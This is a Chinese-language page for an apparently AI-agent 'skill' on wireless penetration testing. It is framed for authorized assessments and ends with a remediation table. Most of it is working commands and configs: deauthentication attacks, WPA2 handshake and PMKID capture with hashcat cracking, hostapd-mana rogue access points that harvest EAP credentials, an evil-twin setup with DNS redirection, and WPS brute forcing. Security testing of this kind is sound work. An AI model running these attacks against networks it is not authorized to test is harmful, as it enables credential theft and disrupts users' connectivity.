SuperAPI AI 工具集

performing-wireless-network-penetration-test

安全与审计

查看项目

更新于 10-15 17:55

技能介绍

用途

该技能用于执行无线网络渗透测试,评估组织 WiFi 基础设施的安全性,涵盖加密强度、认证机制、流氓接入点检测、客户端隔离和网络分段。测试范围包括 802.11a/b/g/n/ac/ax 协议、WPA2-PSK、WPA2-Enterprise、WPA3-SAE、强制门户,以及在范围内的蓝牙/BLE。

适用时机

  • 开展涉及无线网络渗透测试的安全评估时
  • 遵循相关安全事件的事件响应流程时
  • 执行计划内的安全测试或审计活动时
  • 通过动手测试验证安全控制措施时

前置条件

  • 书面授权,明确无线范围(SSID、BSSID、物理位置)
  • 兼容的无线网卡,支持监听模式和数据包注入(如 Alfa AWUS036ACH、TP-Link TL-WN722N v1)
  • 安装 Aircrack-ng 套件、Bettercap、Wifite、Kismet 的 Kali Linux
  • 物理上接近目标无线网络
  • GPS 接收器用于测绘(可选)

主要能力与使用方式

阶段 1 — 无线侦察

启用监听模式:

# 检查无线接口
iwconfig
airmon-ng

# 终止干扰进程
airmon-ng check kill

# 启用监听模式
airmon-ng start wlan0
# 接口变为 wlan0mon

# 验证监听模式
iwconfig wlan0mon

被动扫描:

# 发现范围内所有网络
airodump-ng wlan0mon -w wireless_scan --output-format csv,pcap

# 按特定信道过滤
airodump-ng wlan0mon -c 6 -w channel6_scan

# 扫描 5GHz 频段
airodump-ng wlan0mon --band a -w 5ghz_scan

# 扫描所有频段
airodump-ng wlan0mon --band abg -w full_scan

# Kismet 被动扫描(高级)
kismet -c wlan0mon
# 访问 Web UI:http://localhost:2501

网络清单示例(SSID、BSSID、信道、加密、客户端数、信号):CorpWiFi(WPA2-Enterprise)、CorpGuest(WPA2-PSK)、PrinterNet(WEP)、HiddenSSID(WPA2-PSK)。

阶段 2 — WPA2-PSK 攻击

捕获四次握手:

# 针对特定网络
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:02 -w corpguest wlan0mon

# 取消认证客户端以强制重连(捕获握手)
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:02 -c FF:FF:FF:FF:FF:FF wlan0mon

# 验证握手已捕获
aircrack-ng corpguest-01.cap
# 在输出中查找 "1 handshake"

破解 WPA2 密钥:

# 使用 Aircrack-ng 字典攻击
aircrack-ng -w /usr/share/wordlists/rockyou.txt corpguest-01.cap

# 使用 Hashcat 进行 GPU 加速破解
# 将 cap 转换为 hccapx 格式
hcxpcapngtool -o hash.hc22000 corpguest-01.cap

# Hashcat 模式 22000(WPA-PBKDF2-PMKID+EAPOL)
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# PMKID 攻击(无需客户端)
hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_dump.pcapng \
  --filterlist_ap=AA:BB:CC:DD:EE:02 --filtermode=2
hcxpcapngtool -o pmkid_hash.hc22000 pmkid_dump.pcapng
hashcat -m 22000 pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txt

阶段 3 — WPA2-Enterprise 攻击

使用 hostapd-mana 搭建流氓 AP 以收集 EAP 凭据:

cat > hostapd-mana.conf << 'EOF'
interface=wlan0mon
ssid=CorpWiFi
hw_mode=g
channel=6
auth_algs=3
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP TKIP
rsn_pairwise=CCMP
ieee8021x=1
eap_server=1
eap_user_file=hostapd.eap_user
mana_wpe=1
mana_credout=creds.txt
EOF

cat > hostapd.eap_user << 'EOF'
*   PEAP,TTLS,TLS,FAST
"t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAPV2,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAP "t" [2]
EOF

hostapd-mana hostapd-mana.conf

# 捕获的 MSCHAP 挑战可被破解
hashcat -m 5500 creds.txt /usr/share/wordlists/rockyou.txt

阶段 4 — 邪恶双子攻击

使用 Bettercap 创建邪恶双子:

sudo bettercap -iface wlan0mon

# 在 Bettercap 中:
wifi.recon on
wifi.ap

或使用 hostapd + dnsmasq 手动搭建:

cat > evil_twin.conf << 'EOF'
interface=wlan1
ssid=CorpGuest
hw_mode=g
channel=6
driver=nl80211
auth_algs=1
wpa=0
EOF

hostapd evil_twin.conf &
dnsmasq --no-daemon --interface=wlan1 --dhcp-range=192.168.1.10,192.168.1.100,12h \
  --address=/#/192.168.1.1

aireplay-ng -0 0 -a AA:BB:CC:DD:EE:02 wlan0mon

阶段 5 — 附加测试

流氓 AP 检测:将授权 AP 列表与发现的 AP 对比,标记广播企业 SSID 的未知 BSSID;检查配置错误的 AP(个人热点桥接到企业网络、使用默认 WiFi 设置的 IoT 设备)。

客户端隔离测试:

nmap -sn 192.168.10.0/24
nmap -sT -p 80,443,445,3389 10.0.0.0/24

WPS 攻击:

wash -i wlan0mon
reaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -vv
reaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -K 1 -vv

发现模板

发现 严重性 CVSS 修复
WPA2-PSK 使用弱口令 高 8.1 使用 20+ 字符口令或迁移到 WPA2-Enterprise
打印机网络使用 WEP 加密 严重 9.1 升级到 WPA2/WPA3,隔离打印机 VLAN
访客 AP 启用 WPS 中 5.3 在所有接入点上禁用 WPS
访客网络无客户端隔离 高 7.5 启用 AP 隔离和 VLAN 分段
流氓 AP 广播企业 SSID 高 8.1 部署 WIDS/WIPS,实施带证书验证的 802.1X
EAP-MSCHAP 无证书固定 高 7.5 在所有客户端上强制服务器证书验证

适用场景

适用于授权范围内的无线安全评估、计划内安全测试或审计、事件响应中的相关安全事件处理,以及通过动手测试验证安全控制措施。

限制

需要书面授权并明确无线范围;需要支持监听模式和注入的兼容无线网卡;需要物理接近目标网络;部分攻击(如 WPS 暴力破解)可能受速率限制影响。资料未提供收费、价格或平台信息。

参考

  • Aircrack-ng 文档:https://www.aircrack-ng.org/doku.php
  • CISA Aircrack-ng:https://www.cisa.gov/resources-tools/services/aircrack-ng
  • WiFi Alliance WPA3 规范:https://www.wi-fi.org/discover-wi-fi/security
  • NIST SP 800-153:Guidelines for Securing WLANs
  • Hashcat WPA 模式:https://hashcat.net/wiki/doku.php?id=example_hashes